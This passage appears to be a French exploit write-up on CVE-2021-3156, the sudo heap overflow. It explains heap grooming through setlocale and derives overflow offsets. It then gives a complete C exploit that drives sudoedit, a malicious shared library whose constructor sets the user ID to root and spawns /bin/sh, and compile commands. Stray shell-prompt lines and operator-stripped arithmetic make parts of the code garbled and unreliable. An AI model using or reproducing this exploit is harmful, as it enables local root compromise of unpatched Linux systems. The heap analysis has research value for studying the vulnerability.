Le masque mask possède quatre bits. Ces quatre indicateurs déterminent le nom de fichier utilisé pour cette opération ; ils représentent la présence ou non du contenu entre crochets :``` dir+language+[_territory]+[.codeset]+[.normalized_codeset]+[@modifier]+filename

root@kitploit:~
Parmi eux, dir(/usr/lib/locale), language(C) et filename(nom de variable d'environnement) sont tous fixes ; le contenu entre crochets peut être généré facultativement selon la valeur du mask. Par exemple :```
LC_IDENTIFICATION=C.UTF-8@AAAAAAAAAAA

Alors :``` [_territory]=NULL #我们没有传入_打头的字符串 [.codeset]=.UTF-8 #语言编码我们传入的是.UTF-8 [.normalized_codeset]=.utf8 # 根据我们传入的大写语言编码自动生成 [@modifier]=@AAAAAAAAAAA #我们自定义的后缀

root@kitploit:~
Selon les différents masques, peuvent être générés :```
1011: /usr/lib/locale/C.UTF-8.utf8@AAAAAAAAAAA/LC_IDENTIFICATION
0000: /usr/lib/locale/C/LC_IDENTIFICATION
1111: /usr/lib/locale/C.UTF-8.utf8@AAAAAAAAAAA/LC_IDENTIFICATION
0111: /usr/lib/locale/C.UTF-8.utf8/LC_IDENTIFICATION

Puisque notre entrée ne contient pas d’information de pays, c’est-à-dire que le champ [_territory] est déjà vide, alors que ce mask soit 1 ou non, ce champ n’apparaîtra pas. Cela fait que différents mask finissent par produire le même nom de fichier, ce qui explique pourquoi plus haut il y a cette opération consistant à libérer puis retourner lorsqu’un nom de fichier identique est rencontré.

L’analyse du principe de toutes les allocations de heap s’arrête à peu près ici ; on peut comprendre et organiser le layout en fonction de la situation réelle. Dans mon environnement de débogage, il suffit de savoir que selon la valeur de la variable d’environnement entrée, une opération strdup est effectuée, et finalement les multiples chunks générés par strdup sont libérés d’un coup. C’est là que réside le point clé. Si l’on rencontre un environnement plus compliqué, il faudra peut-être utiliser l’opération qui contrôle la taille et le nombre des blocs de heap libérés en fonction du mask.

Exploitation pratique de la vulnérabilité

Revenons à mon environnement de débogage :

image-20220123134419470

Je souhaite placer le chunk vuln avant le chunk target, c’est-à-dire le chunk n°7, sans casser aucun des chunks 1, 2, 3, 4, 5, 6.

L’idée pour le layout du heap est donc :

  1. Comme les chunks 1, 2, 4 et 6 sont tous des chunks de taille 0x20, et que les chunks 0x20 font l’objet de nombreuses opérations d’allocation pendant l’exécution du programme, la tcache 0x20 sera rapidement épuisée. Autrement dit, lorsque la fonction nss_ parse_file s’exécute, il n’y a pratiquement plus de tcache 0x20 ; une nouvelle allocation devra être découpée dans le topchunk ou dans les small/large/unsorted bins. Il n’y a donc pas à s’en préoccuper.

  2. Nous nous concentrons sur la façon d’insérer un chunk de taille particulière 0xX0 entre les chunks 3, 5 et le chunk 7 (qui ne sera pas consommé avant la demande du chunk vuln). Voici l’idée générale :

    image-20220123134611280

  3. Comme tous les chunks impliqués dans le layout du heap sont de la mémoire allouée par setlocale, et que ces éléments dans setlocale sont pour la plupart inutiles, même un écrasement ne provoquera pas de crash. Il n’y a donc aucun problème si notre chunk vuln et le chunk target ne sont pas contigus.

  4. Donc, finalement, notre idée est de faire allouer par setlocale deux chunks de taille 0x40, puis un chunk de taille 0xa0 (c’est-à-dire le chunk 0xX0 mentionné plus haut), puis un autre chunk de 0x40 ; ainsi ils seront libérés dans l’ordre inverse, puis dans la fonction nss_parse_file ils seront alloués dans le même ordre. De plus, dans la fonction nss_parse_file, getline allouera un chunk de 0x80 qui « protège » le chunk 0xa0 que nous avons réservé.

Ensuite, il s’agit de calculer la distance entre le chunk retiré et le chunk de débordement :

image-20220123114452223

0x5576b5ac7000-0x5576b5ac69b0=0x650

On peut diviser le paramètre d’entrée, d’une taille totale de 0xa0, en deux parties : x occurrences de \\ (chacune étant une chaîne indépendante, occupant deux octets) et un 'a' * y (y caractères ‘a’ formant une chaîne, occupant y+1 octets), avec 2x+y = 0xa0-0x10 (ici 0xa0-0x10 parce que notre chunk vuln a une taille de 0xa0, mais l’allocation réelle requiert 0x10 de moins). La commande finale est de la forme :``` sudoedit -s \ \ \ ...(x个)... \ "aaaa...(y个)...aaa"

root@kitploit:~
Calculer x, y tels que :```
(x+y)+(x+y)+(x+y+1)+(x+y-2)+... ...+(y+1) 刚好 < 0x650 
2x+y = 0xa0-0x10

Le principe de la première équation est que, comme l'entrée contient plusieurs \\, chaque copie déborde, et chaque débordement est d'un octet de moins que le précédent, on additionne donc une suite arithmétique. Après simplification, on obtient :``` (x+y)+(x+2y+1)·x/2=0x650 2x+y = 0x90

root@kitploit:~
De mon côté, j'obtiens :```
x=11
y=121

Enfin, la longueur qui peut être débordée via le paramètre sudoedit est 0x5f9 ; le reste peut être complété avec \\ dans les variables d'environnement. Les variables d'environnement ne sont copiées qu'une seule fois. Lors de l'écrasement de la structure, notez que la chaîne du nom du .so se trouve à l'offset 0x30 dans la structure ; les éléments de la structure situés avant la chaîne doivent tous être écrasés avec \x00. (Je n'entrerai pas dans les détails ici ; la construction d'un payload de longueur de débordement appropriée n'a pas grand intérêt technique, je fournis surtout ici une méthode de calcul rapide et générale.)

Ensuite, compilez la fausse bibliothèque .so. Ici, les fonctions compilées directement avec la macro attribute s'exécutent automatiquement au chargement du binaire, c'est-à-dire les fonctions constructeur. L'exploit est le suivant :

exp

Dans mon environnement de débogage, l'exploit est le suivant :```c #include<stdio.h> #include<string.h> #include<stdlib.h> #include<math.h>

#define __LC_CTYPE 0 #define __LC_NUMERIC 1 #define __LC_TIME 2 #define __LC_COLLATE 3 #define __LC_MONETARY 4 #define __LC_MESSAGES 5 #define __LC_ALL 6 #define __LC_PAPER 7 #define __LC_NAME 8 #define __LC_ADDRESS 9 #define __LC_TELEPHONE 10 #define __LC_MEASUREMENT 11 #define __LC_IDENTIFICATION 12

char * envName[13]={"LC_CTYPE","LC_NUMERIC","LC_TIME","LC_COLLATE","LC_MONETARY","LC_MESSAGES","LC_ALL","LC_PAPER","LC_NAME","LC_ADDRESS","LC_TELE PHONE","LC_MEASUREMENT","LC_IDENTIFICATION"};

int now=13; int envnow=0; int argvnow=0; char * envp[0x300]; char * argv[0x300]; char * addChunk(int size) { now --; char * result; if(now ==6) { now --; } if(now>=0) { result=malloc(size+0x20); strcpy(result,envName[now]); strcat(result,"=C.UTF-8@"); for(int i=9;i<=size-0x17;i++) strcat(result,"A"); envp[envnow++]=result; } return result; }

void final() { now --; char * result; if(now ==6) { now --; } if(now>=0) { result=malloc(0x100); strcpy(result,envName[now]); strcat(result,"=xxxxxxxxxxxxxxxxxxxxx"); envp[envnow++]=result; } }

int setargv(int size,int offset) { size-=0x10; signed int x,y; signed int a=-3; signed int b=2size-3; signed int c=2size-2-offset2; signed int tmp=bb-4ac; if(tmp<0) return -1; tmp=(signed int)sqrt((double)tmp1.0); signed int A=(0-b+tmp)/(2a); signed int B=(0-b-tmp)/(2a); if(A<0 && B<0) return -1; if((A>0 && B<0) || (A<0 && B>0)) x=(A>0) ? A: B; if(A>0 && B > 0) x=(A<B) ? A : B; y=size-1-x2; int len=x+y+(x+y+y+1)*x/2;

root@kitploit:~
while ((signed int)(offset-len)<2)
{
    x--;
    y=size-1-x*2;
    len=x+y+(x+y+1)*x/2;
    if(x<0)
        return -1;
}
int envoff=offset-len-2+0x30;
printf("%d,%d,%d\n",x,y,len);
char * Astring=malloc(size);
int i=0;
for(i=0;i<y;i++)
    Astring[i]='A';
Astring[i]='\x00';

argv[argvnow++]="sudoedit";
argv[argvnow++]="-s";
for (i=0;i<x;i++)
    argv[argvnow++]="\\";
argv[argvnow++]=Astring;
argv[argvnow++]="\\";
argv[argvnow++]=NULL;
for(i=0;i<envoff;i++)
    envp[envnow++]="\\";
envp[envnow++]="X/test";
return 0;

}

int main() { setargv(0xa0,0x650); addChunk(0x40); addChunk(0x40); addChunk(0xa0); addChunk(0x40); final();

root@kitploit:~
execve("/usr/local/bin/sudoedit",argv,envp);

}

root@kitploit:~
Voici lib.c :```c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static void __attribute__ ((constructor)) _init(void);

static void _init(void) {
        printf("[+] bl1ng bl1ng! We got it!\n");
#ifndef BRUTE
        setuid(0); seteuid(0); setgid(0); setegid(0);
        static char *a_argv[] = { "sh", NULL };
        static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
        execv("/bin/sh", a_argv);
#endif
}

Commande de compilation :```sh mkdir libnss_X gcc -fPIC -shared lib.c -o ./libnss_X/test.so.2 gcc exp.c -o exp

root@kitploit:~
Succès :

image-20220123115529219

### Méthode pour modifier l'exp dans un environnement spécifique

C'est surtout pour faciliter sa propre recherche et le débogage, et non pour une attaque réelle. Pour une attaque réelle, le brute force reste recommandé ; il faut connaître les points suivants selon l'environnement :

1. La taille contrôlable de vuln, c'est-à-dire le free tcache laissé dans setlocale, qui ne sera pas consommé avant l'allocation de vuln ; il faut trouver une taille appropriée (correspondant à 0xa0 dans mon exp)
2. Où placer vuln, c'est-à-dire combien de chunks 0x40 se trouvent avant le chunk vuln et combien de chunks 0x40 après (correspondant aux fonctions addChunk dans la fonction main de mon exp).
3. La distance entre le chunk cible et le chunk vuln, c'est-à-dire target chunk addr - vuln chunk addr (correspondant à 0x650 dans mon exp).

En modifiant les trois points ci-dessus, il y a de très fortes chances de réussir directement.

## Facteurs influençant l'exploitation de la vulnérabilité

Les facteurs influençant la disposition du tas sont très nombreux. Pour la même version de sudo, des options de compilation différentes modifient la disposition du tas (dès qu'une fonction participant à l'allocation du tas est ajoutée ou supprimée avant le débordement, il y a une très forte probabilité que la disposition du tas change).

La disposition du tas de sudo d'une distribution et celle de la version compilée soi-même sont différentes.

Une différence dans le fichier de configuration global de sudo peut également avoir un impact.

Des fichiers génériques tels que passwd peuvent également avoir un impact.

Un fichier nsswitch.conf différent peut avoir un impact.

Version de glibc

Autres environnements globaux (ou fichiers d'environnement)

## Mesures d'atténuation

Mettre à jour vers la dernière version.

## Quelques commandes de débogage```
watch rwatch awatch 内存断点
catch exec
set follow-exec-mode new 调试exp 的时候捕获子进程

Voir la structure service_table``` p service_table p * service_table p * service_table -> entry p * service_table -> entry -> next p * service_table -> entry -> next -> service ···

root@kitploit:~
Pour voir la première fonction nss appelée après le débordement de tas, commencez par placer un point d'arrêt sur le point de débordement :```
b policy_check  #先断离溢出点比较近的位置,直接断溢出点找不到
c
b sudoers.c:849 #malloc前
b sudoers.c:859 #溢出chunk 刚申请完毕
b sudoers.c:867 #溢出完成
c #断住之后再断nss_load_library
b nss_load_library 
c #断nss_load_library
bt #查看调用栈

Quelques fonctions clés ainsi que le code apparaissent``` directory /root/glibc-2.27/ directory /root/glibc-2.27/nss/ directory /root/glibc-2.27/elf/ directory /root/glibc-2.27/locale/

b setlocale b nss_parse_file b nss_load_library

root@kitploit:~
## Références

Blog d'un expert interne

52破解 Blog: https://www.52pojie.cn/thread-1439734-1-1.html

blasty's POC: https://github.com/blasty/CVE-2021-3156
Télécharger l’outil